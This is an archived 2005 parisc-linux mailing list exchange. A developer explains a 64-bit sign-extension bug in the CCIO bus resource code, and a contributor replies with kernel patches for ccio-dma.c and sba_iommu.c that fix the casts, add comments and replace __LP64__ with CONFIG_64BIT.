List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: y0z+YqgLeSEkcL6WZHQhaXN1IGRvbwCV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22722

On Tue, May 17, 2005 at 06:29:18PM +0200, Joel Soete wrote:
> > > ccio-dma.c: failed to claim CCIO bus address space (ffffffff00000000,ffffffffffffffff)
...
> > It would be interesting to know why it's asking for that range.
> > Where are the values of that range coming from?

> 32bit kernel:
...
> ccio_init_resource(res=10712c68, name=GSC Bus [8/], ioaddr=fff88078)
> ccio_init_resource() res->start f1000000
> ccio_init_resource() res->end f17fffff
> ccio_init_resource() res->end + 1  f1800000
> ccio_init_resource() claimed CCIO bus address space (f1000000, f17fffff)
> ccio_init_resource(res=10712c84, name=GSC Bus [8/], ioaddr=fff88060)
> ccio_init_resource() res->start fc000000
> ccio_init_resource() res->end fff7ffff
> ccio_init_resource() res->end + 1  fff80000
> ccio_init_resource() claimed CCIO bus address space (fc000000, fff7ffff)
...

Ah...I forgot that U2/Uturn have two sets of range registers.
One per GSC bus....

BTW, PDC sets all of this address stuff up AFAIK.

...
> ccio_init_resource(res=1071245c, name=GSC Bus [10/], ioaddr=fff8a078)
> ccio_init_resource() res->start f1800000
> ccio_init_resource() res->end f1ffffff
> ccio_init_resource() res->end + 1  f2000000
> ccio_init_resource() claimed CCIO bus address space (f1800000, f1ffffff)
> ccio_init_resource(res=10712478, name=GSC Bus [10/], ioaddr=fff8a060)
> ccio_init_resource() res->start 00000000
> ccio_init_resource() res->end ffffffff
> ccio_init_resource() res->end + 1  00000000
> Lasi version 0 at 0xffd00000 found.
> ...

This last one seems to be disabled.
That's what this code in ccio_init_resource() is testing for:
	if (res->end + 1 == res->start)
                return;
 
/me puts on his fortune teller hat and looks in his crystal ball:
	"Joel will be submitting a patch shortly...You must add a comment
	explaining WTF this test is doing..."


> 64bit kernel:
...
> ccio_init_resource(res=00000000109e3858, name=GSC Bus [8/], ioaddr=fffffffffff88078)
> ccio_init_resource() res->start fffffffff1000000
> ccio_init_resource() res->end fffffffff17fffff
> ccio_init_resource() res->end + 1  fffffffff1800000
> ccio_init_resource() claimed CCIO bus address space (fffffffff1000000, fffffffff17fffff)
> ccio_init_resource(res=00000000109e3890, name=GSC Bus [8/], ioaddr=fffffffffff88060)
> ccio_init_resource() res->start fffffffffc000000
> ccio_init_resource() res->end fffffffffff7ffff
> ccio_init_resource() res->end + 1  fffffffffff80000
> ccio_init_resource() claimed CCIO bus address space (fffffffffc000000, fffffffffff7ffff)

No problem with the first one.

...
> ccio_init_resource(res=00000000109e5858, name=GSC Bus [10/], ioaddr=fffffffffff8a078)
> ccio_init_resource() res->start fffffffff1800000
> ccio_init_resource() res->end fffffffff1ffffff
> ccio_init_resource() res->end + 1  fffffffff2000000
> ccio_init_resource() claimed CCIO bus address space (fffffffff1800000, fffffffff1ffffff)
> ccio_init_resource(res=00000000109e5890, name=GSC Bus [10/], ioaddr=fffffffffff8a060)
> ccio_init_resource() res->start ffffffff00000000
> ccio_init_resource() res->end ffffffffffffffff
> ccio_init_resource() res->end + 1  0000000000000000

This fails because io_io_low/high registers in reality are only 16 bits.
The upper 16 bits are hardcoded to 1's.
The conversion of res->start to 64-bit is wrong for this one case:
	res->start = (unsigned long)(signed) __raw_readl(ioaddr) << 16;

__raw_readl(ioaddr) returns 0xffff0000.
0xffff0000 << 16 should be 0 but it's not since this is 64-bit.
That line should read something like:
	res->start = (unsigned long) ((signed) __raw_readl(ioaddr) << 16);

And please add a comment here too that parenthesis *do* matter.
Then it should fail the same test that I point out above....

> ccio_init_resource() failed to claim CCIO bus address space (ffffffff00000000,
> ffffffffffffffff)

...and we wouldn't even try to acquire this range.

> ccio_init_resource() claimed CCIO bus address space (ffffffff00000000, ffffffffffffffff)
> Lasi version 0 at 0xffffffffffd00000 found.
> 
> even thought I have no doc to now what would means:
>         res->start = (unsigned long)(signed) READ_U32(ioaddr) << 16; (==
> 0x0 in 32bits)
>         res->end = (unsigned long)(signed) (READ_U32(ioaddr + 4) << 16) -
> 1; (== 0xffffffff in 32bits too)
> 
> but seems that test:
>         if (res->end + 1 == res->start)
> is a stuff which not love 64bit :-(

You almost got it right.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ccio-dma 64bit debug_init info
Date: Fri, 20 May 2005 12:42:05 +0200
Lines: 677
Approved: news@gmane.org
Message-ID: <4282FEEE00003164@mail-6-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="========/4282FEEE00003164/mail-6-bnl.tiscali.it"
X-Trace: ger.gmane.org 1416623787 14623 80.91.229.3 (22 Nov 2014 02:36:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 May 2005 10:43:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 20 May 2005 12:43:16 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ECC9B7D635;
	Fri, 20 May 2005 04:42:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04453-04; Fri, 20 May 2005 04:42:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C73587D63A;
	Fri, 20 May 2005 04:42:51 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EBD317D635
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 May 2005 04:42:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04453-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 May 2005 04:42:48 -0600 (MDT)
Original-Received: from mrqout2.tiscali.it (mrqout2.tiscali.it [195.130.225.12])
	by free.linux.hp.com (Postfix) with ESMTP id 8DC2B7D630
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 May 2005 04:42:47 -0600 (MDT)
Original-Received: from mail-6-bnl.mail.tiscali.sys ([10.39.115.136]
	helo=mail-6-bnl.tiscali.it)
	by mrqout2.tiscali.it with esmtp (Exim 4.43)
	id 1DZ4xo-0008DN-6m; Fri, 20 May 2005 12:42:45 +0200
Original-Received: from [57.67.177.33] by mail-6-bnl.tiscali.it with HTTP;
	Fri, 20 May 2005 12:42:05 +0200
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Etr/Yv0keSEkS76WZHQhaXN1IGRvb8CV
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22723


--========/4282FEEE00003164/mail-6-bnl.tiscali.it
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable

Hello Grant,

Sorry for delay but I encountered some config pb with my isp imp config :=
-(

>
> On Tue, May 17, 2005 at 06:29:18PM +0200, Joel Soete wrote:
> > > > ccio-dma.c: failed to claim CCIO bus address space (ffffffff00000=
000,ffffffffffffffff)
> ...
> > > It would be interesting to know why it's asking for that range.
> > > Where are the values of that range coming from?
>
> > 32bit kernel:
> ...
> > ccio_init_resource(res=3D10712c68, name=3DGSC Bus [8/], ioaddr=3Dfff8=
8078)
> > ccio_init_resource() res->start f1000000
> > ccio_init_resource() res->end f17fffff
> > ccio_init_resource() res->end + 1  f1800000
> > ccio_init_resource() claimed CCIO bus address space (f1000000, f17fff=
ff)
> > ccio_init_resource(res=3D10712c84, name=3DGSC Bus [8/], ioaddr=3Dfff8=
8060)
> > ccio_init_resource() res->start fc000000
> > ccio_init_resource() res->end fff7ffff
> > ccio_init_resource() res->end + 1  fff80000
> > ccio_init_resource() claimed CCIO bus address space (fc000000, fff7ff=
ff)
> ...
>
> Ah...I forgot that U2/Uturn have two sets of range registers.
> One per GSC bus....
>
No pb ;-)

> BTW, PDC sets all of this address stuff up AFAIK.
>
Any idea where is the doc about this feature?

> ...
> > ccio_init_resource(res=3D1071245c, name=3DGSC Bus [10/], ioaddr=3Dfff=
8a078)
> > ccio_init_resource() res->start f1800000
> > ccio_init_resource() res->end f1ffffff
> > ccio_init_resource() res->end + 1  f2000000
> > ccio_init_resource() claimed CCIO bus address space (f1800000, f1ffff=
ff)
> > ccio_init_resource(res=3D10712478, name=3DGSC Bus [10/], ioaddr=3Dfff=
8a060)
> > ccio_init_resource() res->start 00000000
> > ccio_init_resource() res->end ffffffff
> > ccio_init_resource() res->end + 1  00000000
> > Lasi version 0 at 0xffd00000 found.
> > ...
>
> This last one seems to be disabled.
Ah ok (any idea why? hw failure?)

> That's what this code in ccio_init_resource() is testing for:
> 	if (res->end + 1 =3D=3D res->start)
>                 return;
>
> /me puts on his fortune teller hat and looks in his crystal ball:
> 	"Joel will be submitting a patch shortly...You must add a comment
> 	explaining WTF this test is doing..."
>
Ok ;-)

>
> > 64bit kernel:
> ...
> > ccio_init_resource(res=3D00000000109e3858, name=3DGSC Bus [8/], ioadd=
r=3Dfffffffffff88078)
> > ccio_init_resource() res->start fffffffff1000000
> > ccio_init_resource() res->end fffffffff17fffff
> > ccio_init_resource() res->end + 1  fffffffff1800000
> > ccio_init_resource() claimed CCIO bus address space (fffffffff1000000=
,
> fffffffff17fffff)
> > ccio_init_resource(res=3D00000000109e3890, name=3DGSC Bus [8/], ioadd=
r=3Dfffffffffff88060)
> > ccio_init_resource() res->start fffffffffc000000
> > ccio_init_resource() res->end fffffffffff7ffff
> > ccio_init_resource() res->end + 1  fffffffffff80000
> > ccio_init_resource() claimed CCIO bus address space (fffffffffc000000=
,
> fffffffffff7ffff)
>
> No problem with the first one.
>
(as far as i understand, yes )

> ...
> > ccio_init_resource(res=3D00000000109e5858, name=3DGSC Bus [10/], ioad=
dr=3Dfffffffffff8a078)
> > ccio_init_resource() res->start fffffffff1800000
> > ccio_init_resource() res->end fffffffff1ffffff
> > ccio_init_resource() res->end + 1  fffffffff2000000
> > ccio_init_resource() claimed CCIO bus address space (fffffffff1800000=
,
> fffffffff1ffffff)
> > ccio_init_resource(res=3D00000000109e5890, name=3DGSC Bus [10/], ioad=
dr=3Dfffffffffff8a060)
> > ccio_init_resource() res->start ffffffff00000000
> > ccio_init_resource() res->end ffffffffffffffff
> > ccio_init_resource() res->end + 1  0000000000000000
>
> This fails because io_io_low/high registers in reality are only 16 bits=
.
> The upper 16 bits are hardcoded to 1's.
> The conversion of res->start to 64-bit is wrong for this one case:
> 	res->start =3D (unsigned long)(signed) __raw_readl(ioaddr) << 16;
>
> __raw_readl(ioaddr) returns 0xffff0000.
> 0xffff0000 << 16 should be 0 but it's not since this is 64-bit.
> That line should read something like:
> 	res->start =3D (unsigned long) ((signed) __raw_readl(ioaddr) << 16);
>
cool ;-)

> And please add a comment here too that parenthesis *do* matter.
> Then it should fail the same test that I point out above....
>
> > ccio_init_resource() failed to claim CCIO bus address space (ffffffff=
00000000,
> > ffffffffffffffff)
>
> ...and we wouldn't even try to acquire this range.
>
> > ccio_init_resource() claimed CCIO bus address space (ffffffff00000000=
,
> ffffffffffffffff)
> > Lasi version 0 at 0xffffffffffd00000 found.
> >
> > even thought I have no doc to now what would means:
> >         res->start =3D (unsigned long)(signed) READ_U32(ioaddr) << 16=
;
(=3D=3D
> > 0x0 in 32bits)
> >         res->end =3D (unsigned long)(signed) (READ_U32(ioaddr + 4) <<=
 16)
> -
> > 1; (=3D=3D 0xffffffff in 32bits too)
> >
> > but seems that test:
> >         if (res->end + 1 =3D=3D res->start)
> > is a stuff which not love 64bit :-(
>
> You almost got it right.
>
so here is a first patch:
--- drivers/parisc/ccio-dma.c.orig      2005-05-20 08:47:17.000000000 +02=
00
+++ drivers/parisc/ccio-dma.c.orig1     2005-05-20 12:15:35.000000000 +02=
00
@@ -1328,13 +1328,12 @@
        ioc->pdir_base =3D (u64 *)__get_free_pages(GFP_KERNEL,
                                                 get_order(ioc->pdir_size=
));
        if(NULL =3D=3D ioc->pdir_base) {
-               panic("%s:%s() could not allocate I/O Page Table\n", __FI=
LE__,
-                     __FUNCTION__);
+               panic("%s() could not allocate I/O Page Table\n", __FUNCT=
ION__);
        }
        memset(ioc->pdir_base, 0, ioc->pdir_size);

        BUG_ON((((unsigned long)ioc->pdir_base) & PAGE_MASK) !=3D (unsign=
ed
long)ioc->pdir_base);
-       DBG_INIT(" base %p", ioc->pdir_base);
+       DBG_INIT(" base %p\n", ioc->pdir_base);

        /* resource map size dictated by pdir_size */
        ioc->res_size =3D (ioc->pdir_size / sizeof(u64)) >> 3;
@@ -1343,8 +1342,7 @@
        ioc->res_map =3D (u8 *)__get_free_pages(GFP_KERNEL,
                                              get_order(ioc->res_size));
        if(NULL =3D=3D ioc->res_map) {
-               panic("%s:%s() could not allocate resource map\n", __FILE=
__,
-                     __FUNCTION__);
+               panic("%s() could not allocate resource map\n", __FUNCTIO=
N__);
        }
        memset(ioc->res_map, 0, ioc->res_size);

@@ -1394,15 +1392,21 @@

        res->parent =3D NULL;
        res->flags =3D IORESOURCE_MEM;
-       res->start =3D (unsigned long)(signed) __raw_readl(ioaddr) << 16;=

-       res->end =3D (unsigned long)(signed) (__raw_readl(ioaddr + 4) << =
16)
- 1;
+       /*
+        * bracing ((signed) ...) are required for 64bit kernel
+        */
+       res->start =3D (unsigned long)((signed) READ_U32(ioaddr) << 16);
+       res->end =3D (unsigned long)((signed) (READ_U32(ioaddr + 4) << 16=
)
- 1);
        res->name =3D name;
+       /*
+        * Check if the set of range registers is disable
+        */
        if (res->end + 1 =3D=3D res->start)
                return;
        result =3D request_resource(&iomem_resource, res);
        if (result < 0) {
-               printk(KERN_ERR "%s: failed to claim CCIO bus address spa=
ce
(%08lx,%08lx)\n",
-                      __FILE__, res->start, res->end);
+               printk(KERN_ERR "%s() failed to claim CCIO bus address sp=
ace
(%08lx,%08lx)\n",
+                       __FUNCTION__, res->start, res->end);
        }
 }
=3D=3D=3D=3D<>=3D=3D=3D=3D

Some additional stuff:
--- drivers/parisc/ccio-dma.c.orig      2005-05-20 08:47:17.000000000 +02=
00
+++ drivers/parisc/ccio-dma.c.orig1     2005-05-20 12:15:35.000000000 +02=
00
@@ -1328,13 +1328,12 @@
        ioc->pdir_base =3D (u64 *)__get_free_pages(GFP_KERNEL,
                                                 get_order(ioc->pdir_size=
));
        if(NULL =3D=3D ioc->pdir_base) {
-               panic("%s:%s() could not allocate I/O Page Table\n", __FI=
LE__,
-                     __FUNCTION__);
+               panic("%s() could not allocate I/O Page Table\n", __FUNCT=
ION__);
        }
        memset(ioc->pdir_base, 0, ioc->pdir_size);

        BUG_ON((((unsigned long)ioc->pdir_base) & PAGE_MASK) !=3D (unsign=
ed
long)i
oc->pdir_base);
-       DBG_INIT(" base %p", ioc->pdir_base);
+       DBG_INIT(" base %p\n", ioc->pdir_base);

        /* resource map size dictated by pdir_size */
        ioc->res_size =3D (ioc->pdir_size / sizeof(u64)) >> 3;
@@ -1343,8 +1342,7 @@
        ioc->res_map =3D (u8 *)__get_free_pages(GFP_KERNEL,
                                              get_order(ioc->res_size));
        if(NULL =3D=3D ioc->res_map) {
-               panic("%s:%s() could not allocate resource map\n", __FILE=
__,
-                     __FUNCTION__);
+               panic("%s() could not allocate resource map\n", __FUNCTIO=
N__);
        }
        memset(ioc->res_map, 0, ioc->res_size);

@@ -1394,15 +1392,21 @@

        res->parent =3D NULL;
        res->flags =3D IORESOURCE_MEM;
-       res->start =3D (unsigned long)(signed) __raw_readl(ioaddr) << 16;=

-       res->end =3D (unsigned long)(signed) (__raw_readl(ioaddr + 4) << =
16)
- 1;
+       /*
+        * bracing ((signed) ...) are required for 64bit kernel
+        */
+       res->start =3D (unsigned long)((signed) READ_U32(ioaddr) << 16);
+       res->end =3D (unsigned long)((signed) (READ_U32(ioaddr + 4) << 16=
)
- 1);
        res->name =3D name;
+       /*
+        * Check if the set of range registers is disable
+        */
        if (res->end + 1 =3D=3D res->start)
                return;
        result =3D request_resource(&iomem_resource, res);
        if (result < 0) {
-               printk(KERN_ERR "%s: failed to claim CCIO bus address spa=
ce
(%08
lx,%08lx)\n",
-                      __FILE__, res->start, res->end);
+               printk(KERN_ERR "%s() failed to claim CCIO bus address sp=
ace
(%0
8lx,%08lx)\n",
+                       __FUNCTION__, res->start, res->end);
        }
 }

jso@iatst001:~/work$ more ccio-dma.c.diff
--- drivers/parisc/ccio-dma.c.orig      2005-05-20 08:47:17.000000000 +02=
00
+++ drivers/parisc/ccio-dma.c.orig1     2005-05-20 12:15:35.000000000 +02=
00
@@ -1328,13 +1328,12 @@
        ioc->pdir_base =3D (u64 *)__get_free_pages(GFP_KERNEL,
                                                 get_order(ioc->pdir_size=
));
        if(NULL =3D=3D ioc->pdir_base) {
-               panic("%s:%s() could not allocate I/O Page Table\n", __FI=
LE__,
-                     __FUNCTION__);
+               panic("%s() could not allocate I/O Page Table\n", __FUNCT=
ION__);
        }
        memset(ioc->pdir_base, 0, ioc->pdir_size);

        BUG_ON((((unsigned long)ioc->pdir_base) & PAGE_MASK) !=3D (unsign=
ed
long)ioc->pdir_base);
-       DBG_INIT(" base %p", ioc->pdir_base);
+       DBG_INIT(" base %p\n", ioc->pdir_base);

        /* resource map size dictated by pdir_size */
        ioc->res_size =3D (ioc->pdir_size / sizeof(u64)) >> 3;
@@ -1343,8 +1342,7 @@
        ioc->res_map =3D (u8 *)__get_free_pages(GFP_KERNEL,
                                              get_order(ioc->res_size));
        if(NULL =3D=3D ioc->res_map) {
-               panic("%s:%s() could not allocate resource map\n", __FILE=
__,
-                     __FUNCTION__);
+               panic("%s() could not allocate resource map\n", __FUNCTIO=
N__);
        }
        memset(ioc->res_map, 0, ioc->res_size);

@@ -1394,15 +1392,21 @@

        res->parent =3D NULL;
        res->flags =3D IORESOURCE_MEM;
-       res->start =3D (unsigned long)(signed) __raw_readl(ioaddr) << 16;=

-       res->end =3D (unsigned long)(signed) (__raw_readl(ioaddr + 4) << =
16)
- 1;
+       /*
+        * bracing ((signed) ...) are required for 64bit kernel
+        */
+       res->start =3D (unsigned long)((signed) READ_U32(ioaddr) << 16);
+       res->end =3D (unsigned long)((signed) (READ_U32(ioaddr + 4) << 16=
)
- 1);
        res->name =3D name;
+       /*
+        * Check if the set of range registers is disable
+        */
        if (res->end + 1 =3D=3D res->start)
                return;
        result =3D request_resource(&iomem_resource, res);
        if (result < 0) {
-               printk(KERN_ERR "%s: failed to claim CCIO bus address spa=
ce
(%08lx,%08lx)\n",
-                      __FILE__, res->start, res->end);
+               printk(KERN_ERR "%s() failed to claim CCIO bus address sp=
ace
(%08lx,%08lx)\n",
+                       __FUNCTION__, res->start, res->end);
        }
 }

jso@iatst001:~/work$ vi ccio-dma.c.diff
jso@iatst001:~/work$ more ccio-dma.c.diff1
--- drivers/parisc/ccio-dma.c.orig1     2005-05-20 12:15:35.000000000 +02=
00
+++ drivers/parisc/ccio-dma.c   2005-05-20 12:14:50.000000000 +0200
@@ -387,8 +387,7 @@
                       __FILE__,  __FUNCTION__, pages_needed);
        }

-       panic("%s: %s() I/O MMU is out of mapping resources.\n", __FILE__=
,
-             __FUNCTION__);
+       panic("%s() I/O MMU is out of mapping resources.\n", __FUNCTION__=
);

 resource_found:

@@ -578,7 +577,7 @@
        ** WORD 0 - high order word
        */

-#ifdef __LP64__
+#ifdef CONFIG_64BIT
        /*
        ** get bits 12:15 of physical address
        ** shift bits 16:31 of physical address
@@ -589,7 +588,7 @@
        asm volatile ("depd  %1,35,4,%0" : "+r" (pa) : "r" (ci));
 #else
        pa =3D 0;
-#endif
+#endif /* CONFIG_64BIT */
        /*
        ** get CPU coherency index bits
        ** Grab virtual index [0:11]
@@ -1288,10 +1287,10 @@

        if (iova_space_size < (1 << (20 - PAGE_SHIFT))) {
                iova_space_size =3D  1 << (20 - PAGE_SHIFT);
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
        } else if (iova_space_size > (1 << (30 - PAGE_SHIFT))) {
                iova_space_size =3D  1 << (30 - PAGE_SHIFT);
-#endif
+#endif /* CONFIG_64BIT */
        }

        /*
@@ -1487,15 +1486,15 @@
                return 0;

        if (!expand_ioc_area(parent, size, min, max, align)) {
-               __raw_writel(((parent->start)>>16) | 0xffff0000,
+               WRITE_U32(((parent->start)>>16) | 0xffff0000,
                             &ioc->ioc_regs->io_io_low);
-               __raw_writel(((parent->end)>>16) | 0xffff0000,
+               WRITE_U32(((parent->end)>>16) | 0xffff0000,
                             &ioc->ioc_regs->io_io_high);
        } else if (!expand_ioc_area(parent + 1, size, min, max, align)) {=

                parent++;
-               __raw_writel(((parent->start)>>16) | 0xffff0000,
+               WRITE_U32(((parent->start)>>16) | 0xffff0000,
                             &ioc->ioc_regs->io_io_low_hv);
-               __raw_writel(((parent->end)>>16) | 0xffff0000,
+               WRITE_U32(((parent->end)>>16) | 0xffff0000,
                             &ioc->ioc_regs->io_io_high_hv);
        } else {
                return -EBUSY;
=3D=3D=3D=3D<>=3D=3D=3D=3D

and btw some stuff which could interesting sba:
--- drivers/parisc/sba_iommu.c.orig     2005-05-20 09:07:26.000000000 +02=
00
+++ drivers/parisc/sba_iommu.c  2005-05-20 09:33:23.000000000 +0200
@@ -91,7 +91,7 @@
 #define DBG_RES(x...)
 #endif

-#if defined(__LP64__) && !defined(CONFIG_PDC_NARROW)
+#if defined(CONFIG_64BIT) && !defined(CONFIG_PDC_NARROW)
 /* "low end" PA8800 machines use ZX1 chipset */
 #define ZX1_SUPPORT
 #endif
@@ -231,7 +231,7 @@
        spinlock_t      res_lock;
        unsigned int    res_bitshift;   /* from the LEFT! */
        unsigned int    res_size;       /* size of resource map in bytes
*/
-#if SBA_HINT_SUPPORT
+#ifdef SBA_HINT_SUPPORT
 /* FIXME : DMA HINTs not used */
        unsigned long   hint_mask_pdir; /* bits used for DMA hints */
        unsigned int    hint_shift_pdir;
@@ -294,7 +294,7 @@
 /* Looks nice and keeps the compiler happy */
 #define SBA_DEV(d) ((struct sba_device *) (d))

-#if SBA_AGP_SUPPORT
+#ifdef SBA_AGP_SUPPORT
 static int reserve_sba_gart =3D 1;
 #endif

@@ -314,7 +314,7 @@
 #define WRITE_REG32(val, addr) __raw_writel(cpu_to_le32(val), addr)
 #define WRITE_REG64(val, addr) __raw_writeq(cpu_to_le64(val), addr)

-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 #define READ_REG(addr)         READ_REG64(addr)
 #define WRITE_REG(value, addr) WRITE_REG64(value, addr)
 #else
@@ -324,7 +324,7 @@

 #ifdef DEBUG_SBA_INIT

-/* NOTE: When __LP64__ isn't defined, READ_REG64() is two 32-bit reads *=
/
+/* NOTE: When CONFIG_64BIT isn't defined, READ_REG64() is two 32-bit rea=
ds
*/

 /**
  * sba_dump_ranges - debugging only - print ranges assigned to this IOA
@@ -364,7 +364,7 @@
 #else
 #define sba_dump_ranges(x)
 #define sba_dump_tlb(x)
-#endif
+#endif /* DEBUG_SBA_INIT */


 #ifdef ASSERT_PDIR_SANITY
@@ -674,7 +674,7 @@
 *
 ***************************************************************/

-#if SBA_HINT_SUPPORT
+#ifdef SBA_HINT_SUPPORT
 #define SBA_DMA_HINT(ioc, val) ((val) << (ioc)->hint_shift_pdir)
 #endif

@@ -1245,8 +1245,10 @@
        unsigned long pdir_order =3D get_order(pdir_size);

        pdir_base =3D __get_free_pages(GFP_KERNEL, pdir_order);
-       if (NULL =3D=3D (void *) pdir_base)
-               panic("sba_ioc_init() could not allocate I/O Page Table\n=
");
+       if (NULL =3D=3D (void *) pdir_base) {
+               panic("%s() could not allocate I/O Page Table\n",
+                       __FUNCTION__);
+       }

        /* If this is not PA8700 (PCX-W2)
        **      OR newer than ver 2.2
@@ -1354,7 +1356,7 @@
        u32 iova_space_mask;
        u32 iova_space_size;
        int iov_order, tcnfg;
-#if SBA_AGP_SUPPORT
+#ifdef SBA_AGP_SUPPORT
        int agp_found =3D 0;
 #endif
        /*
@@ -1391,7 +1393,7 @@
        DBG_INIT("%s() pdir %p size %x\n",
                        __FUNCTION__, ioc->pdir_base, ioc->pdir_size);

-#if SBA_HINT_SUPPORT
+#ifdef SBA_HINT_SUPPORT
        ioc->hint_shift_pdir =3D iov_order + PAGE_SHIFT;
        ioc->hint_mask_pdir =3D ~(0x3 << (iov_order + PAGE_SHIFT));

@@ -1415,7 +1417,7 @@

        WRITE_REG(ioc->imask, ioc->ioc_hpa + IOC_IMASK);

-#ifdef __LP64__
+#ifdef CONFIG_64BIT
        /*
        ** Setting the upper bits makes checking for bypass addresses
        ** a little faster later on.
@@ -1448,7 +1450,7 @@
        */
        WRITE_REG(ioc->ibase | 31, ioc->ioc_hpa + IOC_PCOM);

-#if SBA_AGP_SUPPORT
+#ifdef SBA_AGP_SUPPORT
        /*
        ** If an AGP device is present, only use half of the IOV space
        ** for PCI DMA.  Unfortunately we can't know ahead of time
@@ -1528,7 +1530,7 @@
        DBG_INIT("%s() pdir %p size %x\n",
                        __FUNCTION__, ioc->pdir_base, pdir_size);

-#if SBA_HINT_SUPPORT
+#ifdef SBA_HINT_SUPPORT
        /* FIXME : DMA HINTs not used */
        ioc->hint_shift_pdir =3D iov_order + PAGE_SHIFT;
        ioc->hint_mask_pdir =3D ~(0x3 << (iov_order + PAGE_SHIFT));
=3D=3D=3D=3D<>=3D=3D=3D=3D
(Just get rid if you dislike)

Thanks,
    Joel




--========/4282FEEE00003164/mail-6-bnl.tiscali.it
Content-Type: application/gzip
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="ccio-dma.c.diff.gz"

H4sICEe+jUIAA2NjaW8tZG1hLmMuZGlmZgCtVGtv2kgU/Qy/4mykVDbYYBuSUPJQUkoj1BQiGr5V
Gg324I5ibDpjuo+q/33vGPMItKi76sgM9njuufecOdeu6yJS8qtQurngSuqwGYYyc6M5b4SNTMm4
EnjemUtX4MHrdNsXXf+i4a0H6h69r9br9Z/D7CL4Qdc/67bODhBub+H6raDj+C3UVzcBbm+rqMgs
dG8WkVRsyrXANazleRs1m7FY5GymhGALHgtt3b97ZO/742H/wQHFFQNmT6Yioawtjpb/CNu+NNgz
azh5eMD1NV6msfGt6lYqC57K0Do51d1TbdkIs2USIc1y8CTJQp4LDJojPFJ6PPFpIj6lJw4Yezd4
6DPmGAQUg5Ymw97TYDRkjBLXd5D/C+wuBirf6TcXcy1y62XxDjwHe3QpgLa/mdyz0dCisUy1jFMR
IcnS2N4n/wqPd/d99uHu43sbfxjJj22/JKJv39yzwXDwZJ2gOKbTxYmzr6khfrivIHew01TbrEEJ
